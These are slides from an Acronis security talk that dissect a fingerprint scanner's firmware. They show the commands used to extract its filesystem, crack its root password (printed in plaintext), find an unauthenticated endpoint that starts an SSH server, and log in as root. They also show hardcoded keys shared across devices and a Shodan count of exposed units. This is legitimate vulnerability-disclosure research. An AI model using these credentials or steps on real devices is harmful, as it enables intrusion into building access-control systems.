Physical To Cyber – And Back

Fingerprint Scanner Security

Kevin Reed, CISO of Acronis
Read.Me

- Been in infosec since IRIX exploits
- Switched sides between infosec and IT operations multiple times
- Responded to Fortune 100 site breach, plant production halted due to SQL Slammer, one of the world’s first 100 Gbps DDoS attacks
- Now mostly do PowerPoint
- I scanned a network once, which led to this discovery
There was a net

Diagram:

- Internet
- Security devices’ VLAN
- Users’ VLAN
- Management VLAN
There was a net
Initial discovery
Firmware update

- Network Setting
- Other Setting
- Firmware Update
- Account Setting

Firmware Update

After pressing the Update button, please wait while the update request is being processed. After update is completed, the device will reboot automatically. You can re-login afterwards.

Select Firmware: Browse... No file selected.

Update State:
Update Process: 0 %
## Downloading firmware

```bash
root@kali:~# binwalk downloads/NEVERGONNA{F}E.bin
```

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>382053</td>
<td>0x5D465</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 5452</td>
</tr>
<tr>
<td>641421</td>
<td>0x9C98D</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 5376</td>
</tr>
<tr>
<td>879245</td>
<td>0xD6A8D</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1424</td>
</tr>
<tr>
<td>880857</td>
<td>0xD70D9</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1400</td>
</tr>
<tr>
<td>910577</td>
<td>0xD70D9</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1400</td>
</tr>
<tr>
<td>919061</td>
<td>0xE0615</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1452</td>
</tr>
<tr>
<td>919101</td>
<td>0xE063D</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1448</td>
</tr>
<tr>
<td>919141</td>
<td>0xE0665</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1472</td>
</tr>
<tr>
<td>1123608</td>
<td>0x112518</td>
<td>Unix path: /home/zh/tmp/UPNEVER_release/trunk/kernel/linux-2.4.x/include/linux/nfs_page.h</td>
</tr>
<tr>
<td>1124652</td>
<td>0x11292C</td>
<td>Unix path: /home/zh/tmp/GONNALEASE_release/trunk/kernel/linux-2.4.x/include/linux/nfs_page.h</td>
</tr>
<tr>
<td>1125184</td>
<td>0x112B40</td>
<td>Unix path: /home/zh/tmp/TYOUDOWN_RELEASE/trunk/kernel/linux-2.4.x/include/linux/nfs_page.h</td>
</tr>
<tr>
<td>1146768</td>
<td>0x117F90</td>
<td>CRC32 polynomial table, little endian</td>
</tr>
<tr>
<td>1154799</td>
<td>0x119EEF</td>
<td>Copyright string: &quot;copyright 1998,1999 D. Jeff Dionne&quot;</td>
</tr>
<tr>
<td>1154841</td>
<td>0x119F19</td>
<td>Copyright string: &quot;copyright 1998 Kenneth Albanowski&quot;</td>
</tr>
<tr>
<td>1255665</td>
<td>0x1328F1</td>
<td>Minix filesystem, V1, little endian, 0 zones</td>
</tr>
<tr>
<td>1257160</td>
<td>0x132EC8</td>
<td>romfs filesystem, version 1 size: 1560448 bytes, named &quot;NEVERGONNA&quot;</td>
</tr>
</tbody>
</table>
Extract romfs and read files

```
root@kali:~# dd if=UNDANDDESERTYOU.bin of=romfs.bin skip=1257160 bs=1
1560576+0 records in
1560576+0 records out
1560576 bytes (1.6 MB, 1.5 MiB) copied, 2.20844 s, 707 kB/s
root@kali:~# mount -o loop romfs.bin /mnt
root@kali:~# ls /mnt
bin dev etc nfs proc root swap usb usr var
root@kali:~#
```
passwd?..

root@kali:~# cat /mnt/etc/passwd
root:ps7Rjb6rgzHbs:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/sbin/nologin
desktop:x:80:80:desktop:/var/lib/menu/kde:/sbin/nologin
[REDACTED]:x:500:500::/home/[REDACTED]:/bin/bash
passwd!

root@kali:~# john --show passwd
root:nuc745gf:0:0:root:/root:/bin/sh

1 password hash cracked, 0 left
Why would you need a password?

root@kali:~# ls -l /mnt/etc
total 0
-rw-r--r-- 1 root root 32 Jan 1 1970 config
-rw-r-xr-x 1 root root 32 Jan 1 1970 ConfigPage
-rw-r-xr-x 1 root root 32 Jan 1 1970 dropbear
-rw-r--r-- 1 root root 10 Jan 1 1970 group
-rw-r-xr-x 1 root root 130 Jan 1 1970 inetd.conf
-rw-r--r-- 1 root root 340 Jan 1 1970 inittab
-rw-r-xr-x 1 root root 399 Jan 1 1970 passwd
-rw-r-xr-x 1 root root 1571 Jan 1 1970 protocols
-rw-r-xr-x 1 root root 247 Jan 1 1970 rc
lwxrwxrwx 1 root root 19 Jan 1 1970 resolv.conf -> ../swap/resolv.conf
-rw-r-xr-x 1 root root 11247 Jan 1 1970 services
-rw-r--r-- 1 root root 843 Jan 1 1970 ssl_cert.pem
-rw-r--r-- 1 root root 891 Jan 1 1970 ssl_key.pem
-rw-r--r-- 1 root root 651 Jan 1 1970 ssl_req.csr
-rw-r--r-- 1 root root 1960 Jan 1 1970 WRConfig.ini
root@kali:~# ls -l /mnt/etc/dropbear/
total 0
-rw-r--r-- 1 root root 427 Jan 1 1970 dropbear_rsa_host_key
root@kali:~#
Why would you need a password?

root@kali:~# cat /mnt/etc/inittab
::sysinit:/etc/rc
::respawn:-/bin/sh
::wait:/usr/bin/manufacture
::respawn:/bin/syslogd
::respawn:/usr/bin/dnsap
::respawn:/usr/bin/port80
::respawn:/usr/bin/httpd
::respawn:/usr/bin/LineDns
::respawn:/usr/bin/ipr
::respawn:/usr/bin/DVRSearch
::respawn:/usr/bin/serverPNP
::respawn:/usr/bin/watchdog
::respawn:/usr/bin/controller_broadcast
root@kali:~#
Why would you need a password?

root@kali:~# cat /mnt/etc/rc
#!/bin/sh
mount -t proc none /proc
mount -o remount,rw /dev/root /
mount -t ramfs none /swap
mount -t jffs2 /dev/mtdblock1 /etc/config
mkdir /swap/log
touch /swap/devlog
ifconfig eth0 192.168.0.10 netmask 255.255.248.0
ifconfig lo up
inetd &
sh &
root@kali:~#
Why would you need a password?

root@kali:~# cat /mnt/etc/inetd.conf
#telnet stream tcp nowait root /bin/telnetd
#ftp stream tcp nowait root /bin/ftpd
#ftpdata stream tcp nowait root /bin/ftpd
root@kali:~#
Looking at binaries

root@kali:~# file /mnt/usr/bin/*
/mnt/usr/bin/0: symbolic link to syslog_switch
/mnt/usr/bin/1: symbolic link to syslog_switch
/mnt/usr/bin/controller_broadcast: BFLT executable - version 4 ram gzip
/mnt/usr/bin/dnsap: BFLT executable - version 4 ram gzip
/mnt/usr/bin/dropbear: BFLT executable - version 4 ram
/mnt/usr/bin/DVRSearch: BFLT executable - version 4 ram gzip
/mnt/usr/bin/httpd: BFLT executable - version 4 ram gzip
/mnt/usr/bin/ipr: BFLT executable - version 4 ram gzip
/mnt/usr/bin/LineDns: BFLT executable - version 4 ram gzip
/mnt/usr/bin/manufacture: BFLT executable - version 4 ram gzip
/mnt/usr/bin/nbnsd: BFLT executable - version 4 ram gzip
/mnt/usr/bin/port80: BFLT executable - version 4 ram gzip
/mnt/usr/bin/serverPNP: BFLT executable - version 4 ram gzip
Each flat binary is preceded by a header of the structure shown below in listing 1. It starts with 4 ASCII bytes, “bFLT” or 0x62, 0x46, 0x4C, 0x54 which identifies the binary as conforming to the flat format. The next field designates the version number of the flat header. As mentioned there are two major versions, version 2 and version 4. Each version differs by the supported flags and the format of the relocations.

The next group of fields in the header specify the starting address of each segment relative to the start of the flat file. Most files start the .text segment at 0x40 (immediately after the end of the header). The data_start, data_end and bss_end fields specify the start or finish of the designated segments. With the absence of text_end and bss_start fields, it is assumed that the text segment comes first, followed immediately by the data segment. While the comments for the flat file header would suggest there is a bss segment somewhere in the flat file, this is not true. bss_end is used to represent the length of the bss segment, thus should be set to data_end + size of bss.

Figure 1: Flat File Format
Boa web server ([http://www.boa.org/](http://www.boa.org/)). From Boa site:

Boa currently seems to be the favorite web server in the embedded crowd, and embedded Linux, despite all the marketing hype, really is a big deal. Supposedly, an older version of Boa, v0.92q, runs in 32K address space on m68k, like used in uCLinux. See [http://www.uclinux.org/](http://www.uclinux.org/)

- Last updated 23 February 2005!
httpd
19

httpd

```c
void _fastcall BringUpSSHd(int a1)
{
    void *hConnection; // r0@1
    int v2; // r3@1
    char pcStringOut; // [sp+Ch] [bp-24Ch]@1
    _BYTE v4[3]; // [sp+Dh] [bp-248h]@1
    char body_text; // [sp+40h] [bp-218h]@1

    hConnection = a1;
    pcStringOut = 0;
    sub_80874(v4, 0, 49);
    sub_92E4(0, "/usr/bin/dropbear", 0, v2);
    IP2String(off_AES48, &pcStringOut);
    sprintf(
        &body_text,
        "<html><body><center><MARQUEE direction=left SCROLLDELAY=4 SCROLLAMOUNT=1 TRUESPEED><font face='Comic Sans MS' size=4 color=blue>Bring up ssh server...</font></MARQUEE></center><script>setTimeout('location="https://%s"', 2000)
    </script></center></body></html>",
    &pcStringOut);
    AddHttpBodyString(hConnection, &body_text);
    SetHttpHeader(hConnection, 200, "OK", &pcTitle_0, "Expires: 01 Jan 1970 00:00:00 GMT\r\n", "text/html", 1);
}
httpd

root@kali:~# cat /mnt/etc/ConfigPage/Eng/isshd.htm

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  <base target=_top>
</head>
<html>
  <body>
    <h3>bring up ssh server done.</h3>
  </body>
</html>
Bring up ssh server...
ssh

Dropbear sshd 2013.58 (protocol 2.0)
Game over

root@kali:~# ssh root@[redacted] -p 8009
The authenticity of host '[[redacted]]:8009 ([[redacted]]:8009)' can't be established.
RSA key fingerprint is SHA256:[redacted].
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[[redacted]]:8009' (RSA) to the list of known hosts.
root@[redacted]'s password:

BusyBox v0.60.4 (2013.11.13-02:27+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

#
Game...over?
Physical security
There was a database
That secure encryption

```
root@kali:~# grep -A5 Other /mnt/etc/WRConfig.ini
[Other]
3Des1 = 12345678
3Des2 =
3Des3 =
DevicePort = 2167
Version =
root@kali:~#
```
And then there were none

I mean, moooore
Same code and artefacts across many devices

```bash
find . -name dropbear_rsa_host_key -exec md5sum {} \\
5c2a1f84257a80554653dcf716d772ec
./romfs/etc/dropbear/dropbear_rsa_host_key
5c2a1f84257a80554653dcf716d772ec
./mnt/etc/dropbear/dropbear_rsa_host_key
5c2a1f84257a80554653dcf716d772ec
./mnt/etc/dropbear/dropbear_rsa_host_key
5c2a1f84257a80554653dcf716d772ec
./mnt/etc/dropbear/dropbear_rsa_host_key
5c2a1f84257a80554653dcf716d772ec
./romfs/etc/dropbear/dropbear_rsa_host_key
```
Same code and artefacts across many devices

```
find . -name ssl_key.pem -exec md5sum {} \;
daa9c2626d07f2f5e4cb901cde1c6556
.:/romfs/etc/ssl_key.pem

daa9c2626d07f2f5e4cb901cde1c6556
.:/mnt/etc/ssl_key.pem

daa9c2626d07f2f5e4cb901cde1c6556
.:/mnt/etc/ssl_key.pem

daa9c2626d07f2f5e4cb901cde1c6556
.:/mnt/etc/ssl_key.pem

daa9c2626d07f2f5e4cb901cde1c6556
.:/romfs/etc/ssl_key.pem
```
Same code and artefacts across many devices

```bash
find . -type f -name passwd -exec grep -E '^root:' {} \; | sort

root:joGOz07CU4CFU:0:0:root:/root:/bin/sh
root:joGOz07CU4CFU:0:0:root:/root:/bin/sh
root:joGOz07CU4CFU:0:0:root:/root:/bin/sh
root:ps7Rjb6rgzHbs:0:0:root:/root:/bin/sh
root:ps7Rjb6rgzHbs:0:0:root:/root:/bin/sh
```
And then there was Shodan
TOTAL RESULTS

3,455
What is missing?
That’s it! My thanks to:

Oleg Ishanov
Alexander Koshelev
Lim Shi Min
Lim Qi Kang
Ravikant Tiwari

Join us
careers.acronis.com
Acronis Foundation

Building a more knowledgeable future

CREATE, SPREAD AND PROTECT KNOWLEDGE WITH US!

Building new schools • Publishing books • Providing educational programs

www.acronis.org